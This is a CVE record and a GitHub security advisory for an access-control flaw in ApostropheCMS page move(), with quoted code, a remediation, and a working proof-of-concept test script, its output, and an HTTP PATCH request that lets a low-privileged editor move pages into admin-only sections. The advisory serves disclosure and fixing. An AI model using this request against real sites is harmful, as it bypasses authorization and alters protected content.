{
  "affected": [
    {
      "affectedData": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.32.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ApostropheCMS is an open-source Node.js content management system. Prior to 4.32.0, the page module\u0027s move() operation fails to enforce the destination parent\u0027s _create permission because its oldParent archive condition disables the check for ordinary moves, allowing an authenticated editor or contributor to use _targetId and _position through the page REST update endpoint to move a controlled page into a restricted subtree and make nudgeNewPeers() updateMany re-rank protected sibling pages. This issue is fixed in version 4.32.0."
    }
  ],
  "id": "CVE-2026-63669",
  "lastModified": "2026-09-09T21:11:46.833",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-63669",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-17T21:29:08.295154Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-17T20:16:44.870",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:05:08Z",
    "nvd_published_at": "2026-08-17T20:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (and the core `@apostrophecms/archive-page` does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The `move()` operation is supposed to enforce that a page may only be moved *into* a parent the actor has **create** rights over \u2014 this is the same boundary the page-insert route enforces (the insert target is fetched with `.permission(\u0027create\u0027)`).\n\nA regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads `(oldParent._id !== parent._id) \u0026\u0026 (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026 (!parent._create) \u0026\u0026 (oldParent.type === \u0027@apostrophecms/archive-page\u0027 \u0026\u0026 !parent._edit)`. Because the final `\u0026\u0026` clause requires `oldParent.type === \u0027@apostrophecms/archive-page\u0027`, the whole conjunction can only be true while restoring a page *out of the archive*. For any ordinary move (the source page\u0027s old parent is a normal page), that clause is `false`, the entire condition is `false`, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` \u2014 i.e. \"can the actor edit the page being moved\", which a low-privileged editor legitimately holds for their own ordinary pages.\n\nThe result is that any authenticated user who can edit at least one page can relocate that page **under a parent of a restricted type they have no create/edit rights over**, and in doing so trigger an unauthenticated, unchecked `updateMany` that re-ranks the restricted parent\u0027s existing children (documents the actor cannot edit). This is reachable directly from the documented `PATCH`/`PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker-controlled `_targetId` / `_position` body fields.\n\n## Affected code (4.31.0)\n\nThe broken guard in `move()` \u2014 `packages/apostrophe/modules/@apostrophecms/page/index.js`:\n\n```js\nif (!moved._edit) {\n  throw self.apos.error(\u0027forbidden\u0027);\n}\nif (!(parent \u0026\u0026 oldParent)) {\n  // Move outside tree\n  throw self.apos.error(\u0027forbidden\u0027);\n}\nif (\n  (oldParent._id !== parent._id) \u0026\u0026\n  (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026\n  (!parent._create) \u0026\u0026\n  (oldParent.type === \u0027@apostrophecms/archive-page\u0027 \u0026\u0026 !parent._edit)   // \u003c-- regression: gates the whole check on \"moving out of the archive\"\n) {\n  throw self.apos.error(\u0027forbidden\u0027);\n}\n```\n\nThe target/parent is fetched with permission filtering explicitly OFF (so the guard above is the *only* thing that is supposed to enforce destination authorization) \u2014 `getTarget()`:\n\n```js\nconst target = await self.findForEditing(_req, criteria)\n  .permission(false)        // target is located regardless of the actor\u0027s rights\n  .archived(null)\n  .areas(false)\n  .ancestors({ depth: 1, ... permission: false })\n  .children({ depth: 1, ... permission: false }).toObject();\n```\n\nThe privileged sink that then runs unguarded \u2014 `nudgeNewPeers()` re-ranks the destination parent\u0027s existing children with a raw DB write and no permission check:\n\n```js\nasync function nudgeNewPeers() {\n  const locale = moved.aposLocale.split(\u0027:\u0027)[0];\n  const criteria = {\n    path: self.matchDescendants(parent),\n    aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },\n    level: parent.level + 1,\n    rank: { $gte: rank }\n  };\n  // Nudge down the pages that should now follow us\n  await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });\n  ...\n}\n```\n\nThe REST entry point \u2014 the `patch` route reaches `move()` after only the `moved._edit` gate, with attacker-controlled `_targetId` / `_position`:\n\n```js\nconst page = await self.findOneForEditing(req, { _id });\n...\nif (!page._edit) {\n  throw self.apos.error(\u0027forbidden\u0027);\n}\n...\nif (input._targetId) {\n  const targetId = self.apos.launder.string(input._targetId);\n  const position = self.apos.launder.string(input._position);\n  modified = await self.move(req, page._id, targetId, position);\n}\n```\n\nFor comparison, the sibling page-**insert** route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets `notfound`:\n\n```js\n// post route (insert)\nconst target = await self.getTarget(req, ...).permission(\u0027create\u0027) ... // restricted target is not found -\u003e insert denied\n```\n\n### Provenance (introduced regression)\nThe guard was correct until commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` (\"allow restore pages\"), which changed it from `(oldParent._id !== parent._id) \u0026\u0026 (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026 (!parent._create)` to the four-clause version above. The intent was to stop legitimate *archive restores* (where `parent._create` can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire `_create` enforcement on `oldParent` being the archive \u2014 silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).\n\n## Attacker model / precondition\nThe attacker is a low-privileged but content-editing authenticated user \u2014 in the core role model an `editor` or (in draft mode) a `contributor` \u2014 who can edit at least one ordinary page. No admin rights, no special tokens.\n\nThe differentiated-permission boundary that makes this a *bypass* must exist in the project. In core, `permission.can(req, \u0027create\u0027/\u0027edit\u0027, type)` is computed per page-type via `checkRoleConfig(\u0027editRole\u0027)`, so the boundary is present whenever a project configures a page type (or the archive) with an `editRole` / `publishRole` higher than the actor\u0027s role, or uses per-page `editPermission` / the `@apostrophecms/workflow` add-on to make `_edit` / `_create` page-specific. The core `@apostrophecms/archive-page` already ships `editRole: \u0027admin\u0027` / `publishRole: \u0027admin\u0027`, and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact \u2014 hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.\n\n## Impact\nA user with no create/edit rights over a restricted page-type subtree can:\n\n- Relocate a page they control **into** that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch\u0027s path, and altering site structure across an authorization boundary), and\n- Cause an unchecked `updateMany` to **re-rank the restricted parent\u0027s existing children** \u2014 i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.\n\nThis is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) \u2014 confidentiality impact is None \u2014 and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nThe PoC uses ApostropheCMS\u0027s own test harness (a real Apostrophe instance + MongoDB) to drive the real `apos.page.move()` code path with a non-admin `editor` request. It creates an admin-only section page type (`editRole: \u0027admin\u0027`), an admin-owned `secret` section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.\n\nEnvironment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.\n\n```bash\n# 1. Disposable MongoDB on 127.0.0.1\ndocker run -d --name apos-mongo -p 27017:27017 mongo:7\n\n# 2. Repo at the anchor\ngit clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe\ncd /tmp/dh-apostrophe\ngit checkout 68f1312d3          # 4.31.0 line\nnpm i -g pnpm\npnpm install --filter apostrophe...\n\n# 3. Drop in the PoC test and run it\ncd /tmp/dh-apostrophe/packages/apostrophe\n#   (write test/poc-move-bac.js below, then:)\nnpx mocha test/poc-move-bac.js\n```\n\n`packages/apostrophe/test/poc-move-bac.js`:\n\n```js\n// PoC: Broken Access Control in apos.page.move()\n// A non-admin (editor) can move a page they may edit UNDER a parent page\n// whose type is admin-only (editRole: \u0027admin\u0027), bypassing the destination\n// \"create\" permission check that move() is supposed to enforce.\nconst t = require(\u0027../test-lib/test.js\u0027);\nconst assert = require(\u0027assert\u0027);\n\ndescribe(\u0027PoC move BAC\u0027, function() {\n  let apos;\n  this.timeout(t.timeout);\n\n  after(async function() {\n    await t.destroy(apos);\n    apos = null;\n  });\n\n  before(async function() {\n    apos = await t.create({\n      root: module,\n      modules: {\n        // A restricted page type: only admins may edit/create pages of this type.\n        \u0027secret-page\u0027: {\n          extend: \u0027@apostrophecms/page-type\u0027,\n          options: {\n            editRole: \u0027admin\u0027,\n            publishRole: \u0027admin\u0027\n          }\n        },\n        // An ordinary page type any editor can edit/create.\n        \u0027public-page\u0027: {\n          extend: \u0027@apostrophecms/page-type\u0027\n        },\n        \u0027@apostrophecms/page\u0027: {\n          options: {\n            park: [],\n            types: [\n              { name: \u0027@apostrophecms/home-page\u0027, label: \u0027Home\u0027 },\n              { name: \u0027secret-page\u0027, label: \u0027Secret\u0027 },\n              { name: \u0027public-page\u0027, label: \u0027Public\u0027 }\n            ]\n          }\n        }\n      }\n    });\n  });\n\n  it(\u0027demonstrates the BAC\u0027, async function() {\n    const adminReq = apos.task.getReq({ role: \u0027admin\u0027 });\n    const home = await apos.page.find(adminReq, { level: 0 }).toObject();\n\n    // Admin creates an admin-only \"secret\" section page directly under home.\n    const secret = await apos.page.insert(adminReq, home._id, \u0027lastChild\u0027, {\n      title: \u0027Secret Section\u0027,\n      type: \u0027secret-page\u0027,\n      slug: \u0027/secret\u0027\n    });\n\n    // Admin creates a pre-existing CHILD inside the secret section. Its rank\n    // must NOT be silently rewritten by a lower-priv user\u0027s move.\n    const secretChild = await apos.page.insert(adminReq, secret._id, \u0027lastChild\u0027, {\n      title: \u0027Secret Child\u0027,\n      type: \u0027secret-page\u0027,\n      slug: \u0027/secret/child\u0027\n    });\n    const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n    // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT\n    // pages of type secret-page (editRole: admin).\n    const editorReq = apos.task.getReq({\n      role: \u0027editor\u0027,\n      user: { _id: \u0027editor-user\u0027, title: \u0027Editor\u0027, role: \u0027editor\u0027 }\n    });\n\n    // The editor creates an ordinary page under home (allowed).\n    const mine = await apos.page.insert(editorReq, home._id, \u0027lastChild\u0027, {\n      title: \u0027My Page\u0027,\n      type: \u0027public-page\u0027,\n      slug: \u0027/mine\u0027\n    });\n\n    // Sanity: confirm the editor genuinely lacks create/edit rights on the\n    // secret section (so a move under it MUST be forbidden).\n    const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })\n      .permission(false).toObject();\n    console.log(\u0027PRECONDITION editor._create on secret =\u0027, secretForEditor._create,\n      \u0027 editor._edit on secret =\u0027, secretForEditor._edit);\n    assert.strictEqual(secretForEditor._create, undefined,\n      \u0027precondition: editor must NOT have create rights on the admin-only section\u0027);\n\n    // THE ATTACK: editor moves their ordinary page UNDER the admin-only\n    // secret section. This SHOULD throw \"forbidden\". If it succeeds, BAC.\n    // Use \u0027firstChild\u0027 so the moved page takes rank 0 and the pre-existing\n    // admin-only child must be nudged from rank 0 -\u003e 1 (a write to a doc the\n    // editor cannot edit).\n    let moveError = null;\n    try {\n      await apos.page.move(editorReq, mine._id, secret._id, \u0027firstChild\u0027);\n    } catch (e) {\n      moveError = e;\n    }\n\n    const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();\n    const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n    console.log(\u0027move threw:\u0027, moveError ? moveError.name : \u0027NOTHING (move succeeded)\u0027);\n    console.log(\u0027moved page path:\u0027, moved \u0026\u0026 moved.path);\n    console.log(\u0027moved page is now under secret?\u0027, moved \u0026\u0026 moved.path.includes(secret.aposDocId));\n    console.log(\u0027secret child rank BEFORE:\u0027, secretChildBefore.rank, \u0027 AFTER:\u0027, secretChildAfter.rank);\n\n    // Assertions that prove the vulnerability:\n    assert.strictEqual(moveError, null,\n      \u0027VULN NOT PRESENT: move was correctly forbidden\u0027);\n    assert.ok(moved.path.includes(secret.aposDocId),\n      \u0027VULN: editor relocated their page under the admin-only section\u0027);\n    assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,\n      \u0027VULN: editor re-ranked an admin-only sibling page they cannot edit\u0027);\n\n    console.log(\u0027\\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***\u0027);\n  });\n});\n```\n\nObserved output (4.31.0, commit `68f1312d3`):\n\n```\n  PoC move BAC\nListening at http://localhost:34129\nPRECONDITION editor._create on secret = undefined  editor._edit on secret = undefined\nmove threw: NOTHING (move succeeded)\nmoved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d\nmoved page is now under secret? true\nsecret child rank BEFORE: 0  AFTER: 1\n\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***\n    \u2714 demonstrates the BAC (390ms)\n\n  1 passing (6s)\n```\n\nThe precondition holds (`editor._create on secret = undefined`), the move did not throw (`NOTHING`), the editor\u0027s page is now physically under the admin-only section\u0027s path, and the protected sibling\u0027s rank was rewritten (0 \u2192 1) by the editor\u0027s request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via `PATCH /api/v1/@apostrophecms/page/\u003cmyPageId\u003e:en:draft` with body `{ \"_targetId\": \"\u003crestrictedSectionId\u003e:en:draft\", \"_position\": \"firstChild\" }` (the route reaches `move()` after only the `page._edit` gate on the moved page).\n\n## Remediation\nRestore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:\n\n```js\nif (\n  (oldParent._id !== parent._id) \u0026\u0026\n  (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026\n  (!parent._create) \u0026\u0026\n  !(oldParent.type === \u0027@apostrophecms/archive-page\u0027 \u0026\u0026 parent._edit)\n) {\n  throw self.apos.error(\u0027forbidden\u0027);\n}\n```\n\nThat is: a cross-parent move into a non-archive destination is forbidden unless the actor has `create` on the destination \u2014 with the single exception that restoring a page *out of the archive* into a destination the actor may `edit` is allowed. Equivalently, fetch the destination with `.permission(\u0027create\u0027)` (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher `editRole`/`publishRole`, mirroring the PoC above.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "id": "GHSA-wr5r-wqp2-x4fh",
  "modified": "2026-09-03T20:05:08Z",
  "published": "2026-09-03T20:05:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree"
}